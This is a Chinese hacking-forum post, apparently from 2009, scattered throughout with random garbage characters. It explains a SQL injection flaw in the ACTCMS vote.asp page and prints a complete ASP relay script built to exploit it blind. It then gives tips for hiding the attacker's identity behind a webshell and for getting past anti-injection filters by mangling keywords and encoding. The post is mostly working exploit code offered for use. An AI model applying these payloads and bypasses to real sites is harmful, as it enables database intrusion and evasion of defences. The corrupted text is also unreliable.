. T( [9 r3 O' \8 q v
看到ninty大牛的blog的一篇文章
2 ^$ [) b7 a& O# N/ \1 c8 N链接标记[url]http://www.forjj.com/?action=show&id=80[/url] ]1 a+ v0 [7 `9 l2 E
关于actcms漏洞的利用 by 3x qq:381862589
- D2 u! ?- L" L4 T转载请注明以上
$ u S+ c: W9 S漏洞文件: H) {- r3 d3 V& l8 D& e- }
/plus/vote/vote.asp8 G) j/ H5 t) G/ w1 F% C& o
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
0 g& C; X% a: o: o6 Q& G: z N, A3 n0 ]' F" y
2 response.write "<script>alert('请选择投票项目。');window.close()</script>" $ o& X2 s6 V* g& O+ }' e4 ^4 m2 O
. }! @( w2 s/ f7 U/ O: `3 response.end
+ j& b6 ]9 K4 j$ W: e9 |3 [4 }7 r
/ i1 D( k2 n7 Y: U4 end if & G) F0 P+ A- e' N
5 Q, ~/ Y) a- T8 R" C
5 for i=1 to request("voted").count
) r0 J$ F3 Z# f& S
8 k) c* J! v! ^1 y$ U6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
5 P2 X# \, Y, {0 J7 [. h# a# _7 J; `, D! j! {5 ]( N& G
7 next 5 J% K# U" a* H' F# k: o3 b* F
2 Z1 C! F! L0 s" ]8 f6 T8.... 5 T+ K1 p- D8 Y0 U
) Y$ f' [8 E8 W+ r* z ~ T9response.Redirect "index.asp?id="&id&"" " X+ l* b o$ ?( d# M! t
投票结束回跳转回index.asp这个投票结果页面
7 l7 A+ C: Y% J如果投票成功票数加1* ~8 H9 O n+ f: u
失败票数不变
! r, d/ }: c; C/ e! L如图:+ K1 {& j5 x1 g4 Q
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)( d, n& L' `% B( P& {) Z
+ J4 U5 V1 }8 a9 t( Y
2009-12-27 13:20: J+ g9 O7 G/ [
" O* D# Y2 x& S8 f5 s# n4 H% K
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了/ ^! l! E; E' `# K. B( v' z. _- p
7 s* E% N# ?; G$ ~3 E
本帖隐藏的内容需要回复才可以浏览
( S7 H) K/ Q4 j) O我们用注入中转来实现这个注入具体代码如下:) c7 R) V W" ^; u5 a0 I
先用寂寞的刺猬大牛的注入中转生成jmget.asp n* N( i" f1 M
注入地址:http://localhost/actcms/plus/vote/vote.asp
4 f9 d' i- M( S" }$ F注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
& c2 b& J4 q5 w9 v% Y8 ?' Y4 y4 o9 ~: R7 ^1 Q4 T) t
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 4 u5 X- G" O2 j. K; d
, w! D. `1 Y+ d& V5 i7 P P
02JmdcwName=request("jmdcw")
5 H" D# E6 K/ G6 _! H7 i9 V( e' ~. c
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
9 ]6 Z" J; z, I% X# H7 [/ {1 ?
' D: \% d) F5 Q! w04JmStr="id=1&voted=-1 or 1="&JmdcwName ! U0 ? }. ]8 W- m& q% s
/ S K; j0 c- o* n5 P3 A2 i05JmStr=URLEncoding(JmStr)
+ p$ I# n5 v4 O' l5 `) t& h' V4 }2 i1 h0 m
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"# u2 i. U$ Y/ c1 @0 o0 ?" _
7 p* u' C5 H( x+ ^1 K2 ?07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"7 v: L# A! O( B
8 f. b. J- ?2 P
08testurl=testurl & "?" & JmStr $ Q% B/ C% d4 u' f8 z5 Q3 t
* P* M9 ~1 H- M7 Z
09JMUrl=JMUrl & "?" & JmStr
. r& [( w4 C# S' r! x0 a& N1 G3 k1 |
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp" n- x; c; s. Q& J: e5 G/ q
' U* i2 a; M+ K11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
3 Z7 ?$ T a) Z9 t/ L P C
" R0 l( {1 M6 Y- U1 g3 L12JmCok=replace(JmCok,chr(32),"%20") # R- t) G# G: D
- Z8 v! B7 D4 G4 J! U13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 ; B6 X c5 h& p, W/ b' [4 z
% ]2 ]3 i# l" q- T5 y7 q14 2 K3 I; {( }, @- R, Z
. g, ]' o$ P: H* b3 w1 e6 a: F. y15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 4 O; z" K9 q6 m/ n
( ~, S3 J! R/ e3 D1 F9 w4 J Y9 q
16
# j% V3 t. {/ n: \% p" ?8 e* A7 w9 P! S4 U+ s" S) `
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
' s% y }8 i8 H) Z4 X- O, i: A8 X; q8 h0 e6 u2 ]# H) f4 E
18response.write test1&""&test2&""
& \; O+ ~" W" d- e# h8 B- z v6 M( Q9 e" l
19 + r& s: A7 }. c! |6 j! |
1 y4 t/ O# } {$ @
20if test1=test2 then '如前后记录相等,表示失败
y1 {7 U( s4 C" e, C
1 T, X; r" u: _* h- A/ t8 C21 response.write "failed"$ I$ w( [$ |: {. s. N2 q. N
1 p" |9 Y7 D' U# k& [
22else
* o' x/ K- u' i. I
; q8 _2 f, z$ N5 C/ X23 response.write "succeed"+ D- l& ^7 a6 Z3 a% A; A; y
, b8 b7 w. f" j5 l24end if 7 G1 y# l+ P% D& L7 t
. Z) F. I* U) G \- t; e$ ~# W6 A25
' A+ @" C& y/ ~! S4 ~% s) Y+ B! w) l7 x" I7 m
26response.write "by 3x"
1 T6 E: y! A$ D5 g! Q5 ]! Y8 E# ?
27 ) E# K$ W" E4 L4 x; Q
* B' x, d! w. H- C
28
5 Q# U m+ n, N$ G
; f: B% S Y, E; f3 o7 u# X29Function PostData(PostUrl,PostStr,PostCok,PostRef) 4 _0 N; Z! _% H. x P0 N# E7 l% Q
6 `! A5 _. b) X, H30Dim Http % c5 E/ u9 B& A q f$ ~- t
& }" y, g5 v: c2 |( J4 I% S a' E31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 7 J' d1 k9 @# U" _
& v w& u* |" A2 v4 R
32With Http
, M; U5 b3 }" V& F) k, u( F1 g5 b8 O% \' R2 |6 q* Q% |, {
33
; W, w# j; ~. @$ ^2 I/ O
8 k: q% ~' b% \! L2 C8 r6 g& ^34.Open "GET",PostUrl,False& @9 \9 j: v" M
: r" P% K! g, i35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
% O) U! V* }% R4 Z' O" g) S2 y3 o( X3 Z! V2 w: b
36.SetRequestHeader "Referer",PostRef
/ A9 R8 k( N7 l
* o( y4 z6 v' Y8 \; q( l! q37.SetRequestHeader "Cookie",PostCok # t1 @5 h9 `" Y5 [7 m" [/ t5 G
5 |2 N# f# h1 ]. \7 ~
38.Send () 4 w, H u( x9 l" L; f
6 z! F- P! `% \( `2 a) M: Y+ M
39PostData = .ResponseBody " ?; S2 F1 H- B+ M ~( P
: `7 W4 @; q: Q( j
40End With8 Y. V2 V. T' v
# Y1 {/ Y( X, ?; g& c$ e* S
41Set Http = Nothing2 ^# R# S+ P B% N
' v& z6 c5 j9 X. [& v8 a
42PostData =bytes2BSTR(PostData)
9 W2 g; A; r# D' d3 H$ t1 H, J) w) e w; d# M; {5 U& t
43End Function/ u: n* e: F6 V0 m% g. X% \
+ @7 n+ H( G. [6 d" Y9 m
44
" h0 Y8 i2 T# F; S y7 F8 c
s D" t2 y3 |" u% m45 4 ?+ }2 i+ r+ W
2 H# u: d1 c4 I- S$ V6 z" t' Q+ R% \0 J
46Function bytes2BSTR(vIn) 0 r1 u# ^, {( G) _9 S7 j8 k2 {
# \) ~+ f8 H: v' N% I47Dim strReturn ; W( \: |$ E( h* ~
0 u2 W. `% K1 ^! |+ |1 e48Dim I, ThisCharCode, NextCharCode , t+ T C1 m, Y7 i9 P8 u! B- f
6 H% X, X- a) {6 I
49strReturn = ""7 T' J$ C- S* u0 j3 A' m0 p7 t
- e; l% s. q: E( x5 ` G; J50For I = 1 To LenB(vIn) 9 g0 x" S4 k2 X3 k4 W
% r! T5 g1 m2 q9 m Q
51ThisCharCode = AscB(MidB(vIn, I, 1))
: E9 M9 _ I! M, R
2 d+ d3 y. _7 p. q1 Q x8 e4 m52If ThisCharCode < &H80 Then! f% u% }* j+ a/ ~ G* H
9 [. K4 |% i6 q& I; G; F# H: i53strReturn = strReturn & Chr(ThisCharCode)
2 C- B: f6 F* M% X: y# C6 B$ z" H+ }0 d
54Else
9 [- h% E6 y( @2 p5 G/ ~6 E. o5 _. O$ x# X0 g; i. @: F" e
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
' Q. h0 e' v" [) V/ u
) c! `0 n9 y9 v56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
* O5 R) _& b5 }/ @ W- M& H y* M; {: ]7 g6 F5 P9 K' u
57I = I + 1
8 x* l8 e9 t1 k* n' {
0 d8 u h, `3 w! w# i8 T6 F- a58End If; D$ s- P$ G& h
" A* f1 S* z) G8 c' u$ I' g
59Next
! u" J) o. Q4 r
2 ]/ K \3 z2 ?60bytes2BSTR = strReturn
( f! v, [- @& H0 {$ J$ l) ?* I$ ]2 r
61End Function# j+ I1 i j' c/ v+ Z2 o* I" h
/ K' S5 x' f$ g
62 ! O+ j' E# w4 E& t# K
1 L: |) @9 y" U- ^
63Function URLEncoding(vstrin) / g# ]0 h1 [( |
# r, Q5 S" E* B: R
64strReturn=""
" U' W+ R9 P+ j2 d
, Q: S! i* x( ~8 w0 l4 B, J0 A/ t65Dim i
; p; O0 X9 P9 G7 w. K8 ~
) M% Q; Y$ q S) b( m8 @66For i=1 To Len(vstrin) 0 \; r9 g) G! k6 G
) L& O- C0 s2 y0 B0 K7 |( \67ThisChr=Mid(vstrin,i,1) 6 }9 z0 a" m( m- D# ^
; k: ?7 I4 ~: P- Y+ {; s7 U6 {68if Abs(Asc(ThisChr))< &HFF Then' h3 q4 L+ [6 I; w2 H5 L+ ?
0 H. G) F/ H) R/ v" y- N( i69strReturn=strReturn & ThisChr ; z `0 |, w9 U3 r3 [& M! n
6 U; s9 z+ q- D2 b' d
70Else) h" e! a6 W/ o. m) Z L6 E( p
4 p! ]/ H, J' `
71InnerCode=Asc(ThisChr)
+ @0 d3 a1 x) V$ Y: H3 u |0 I6 _# W1 a& M2 W* t k! C
72If InnerCode<0 Then `) x+ C) t# T" r
3 @$ ?) X9 `1 ?, d' {3 m73InnerCode=InnerCode + &H10000 % f7 u- R1 f5 a) [3 K8 X8 u
2 }* J" o; r- Q3 H1 x$ X0 f* I2 ]! f
74End If4 w) G8 J' ~# U& k& e3 v) U* E: T
, s) @2 \! [2 A2 Y5 ~+ l( v
75Hight1=(InnerCode And &HFF00) \&HFF / b9 w6 S7 F; w5 `) q+ O
0 L# h5 A, _( l2 U3 J h7 U) e0 S3 R7 {8 `76Low1=InnerCode And &HFF / [! s! L) A i( U) X: `
& _$ h( N$ a0 g2 |3 A7 f77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) % g3 o3 b8 Q( x+ J c
% W8 A' G; p! j; Y. ^% E0 U78End if # [$ b; U g, R5 h
% y! a1 e1 l8 q9 |7 m& ?" e6 ~ o
79Next, D& c2 A1 q1 n9 @. G$ [0 h
, @0 s5 K' T: ^7 @8 P3 d
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
2 q- q8 T- Y' _- C/ v1 w, C% G! `# _% k
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
& K5 |" |3 h& `% _( O3 i" }6 i
' r9 Z9 Z# x! q82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 , b- M4 s/ V& i/ l
5 `- w: q5 W0 A9 V1 m5 Y3 @/ N
83URLEncoding=strReturn ' i E: S O: l$ v* Q! i" K' f
! ?& N/ H* c8 M. d6 w8 \0 D
84End Function
' ]6 ?8 ]0 m) e' e4 \/ z
# K) a% P% E/ s$ c8 G85 8 P( N; t# i* U- { b
; x. h4 V; I! f' h5 ~ k
86function getSt(body) * O) ]2 N' {. w6 V" s6 G0 _7 y; v
, ~( X+ U; v. T, T% H5 t
87 startpot=instr(body,"投票人数:")+len("投票人数:")
- o$ G8 F# O8 g6 j: V: d& q0 M" h# \( B
88 endpot=instr(startpot,body," ") + Q5 E! b& G8 b6 I8 ]1 O- N
% }6 |) N6 _" ? p0 W. [89 getSt=mid(body,startpot,endpot-startpot) ( s4 e$ c: O; d' R- q$ ]
7 B4 w6 p b3 v) Y/ g- z90end function
9 I" s) Q; Z; [; ~) K
5 Q" d- W" n/ E: N91%>- }5 e3 u. Y; i6 g& w' X4 m
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
8 |# }: I2 x4 t3 }1 r0 e, u6 e: ?* G( X测试下效果:
, p: i8 |- B2 T9 j" x投票成功:
1 K1 ]2 X5 v. e6 i6 Z* x+ `: Khttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)% O0 u3 [9 p$ B \6 U( y
( q1 G- j/ ?& u3 ?' ~7 B2009-12-27 13:29 `/ E; l6 U. i1 H0 O
投票失败( e$ B1 c2 m, h1 }( {; t% T7 R
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)" y3 |: n1 p8 I1 I, S' I, Q
! y7 H Z; `* B9 m3 _1 [0 G; R2009-12-27 13:29$ ] x7 c' R; j) g$ Q) h I1 _: \
------------------------------------------------------------------------------- Q- t6 d( `4 G; W$ i
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
+ T/ Q$ p- O$ k+ }& q0 C) l很抱歉。。。只能用单线程工具去注入。。。。。! z/ s* N8 W+ B- Q9 m" D" ^5 T2 T
所以失败。。。不好意思。。。
7 _4 M6 F1 ?' G' p, w; }-------------------------------------------------------------------------------
B8 ]- |# F$ O7 l. Q. [* \. u) Y, m( j: }0 o( Q
注入中转的一些其他应用
) v R' L3 T' {6 K2 P' N其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
9 e% H* [ z$ P1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
5 Q; I. G' i# `+ K6 X: ~2.post注入转成get型的注入,方便我们使用工具来跑
9 [4 m, k; ^; o! v, k3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")9 J8 D' V5 c) |2 L$ S1 G/ m
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过! q* M4 w# V& F( G
( a% T1 W# g% r% J
|